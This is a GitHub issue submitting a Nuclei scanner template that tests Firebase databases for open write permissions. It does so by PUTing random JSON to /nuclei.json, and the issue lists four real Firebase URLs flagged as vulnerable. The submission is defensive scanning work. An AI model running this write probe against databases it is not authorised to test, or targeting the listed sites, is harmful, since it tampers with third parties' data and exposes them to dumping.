projectdiscovery / nuclei-templates

Community curated list of templates for the nuclei engine to find security vulnerabilities.
https://github.com/projectdiscovery/nuclei
MIT License
8.95k stars 2.56k forks source link

Firebase Database Permissions Exploit Check #4226

Closed rafaelwdornelas closed 2 years ago

rafaelwdornelas commented 2 years ago

Nuclei Template:

id: insecure-firebase-database

info:
  name: Firebase Database Permissions Exploit Check
  author: rafaelwdornelas
  severity: high
  description: If the owner of the app have set the security rules as true for both "read" & "write" an attacker can probably dump database and write his own data to firebase database.
  reference:
    - https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty
  tags: firebase

requests:
  - raw:
      - |
        PUT /nuclei.json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{randstr}}@example.com","password":"{{randstr_1}}","username":"{{randstr_2}}","nuclei":"insecure-firebase-database"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "insecure-firebase-database"

      - type: status
        status:
          - 200

Examples of vulnerable urls:

[2022-04-22 17:26:55] [insecure-firebase-database] [http] [high] https://banlek-28e05.firebaseio.com/nuclei.json
[2022-04-22 17:26:55] [insecure-firebase-database] [http] [high] https://byclean-1525737949784.firebaseio.com/nuclei.json
[2022-04-22 17:26:55] [insecure-firebase-database] [http] [high] https://congresso-oncologia.firebaseio.com/nuclei.json
[2022-04-22 17:26:56] [insecure-firebase-database] [http] [high] https://neoaccesscontrol.firebaseio.com/nuclei.json
princechaddha commented 2 years ago

Hello @rafaelwdornelas, thank you so creating this issue and contributing to this project 🚀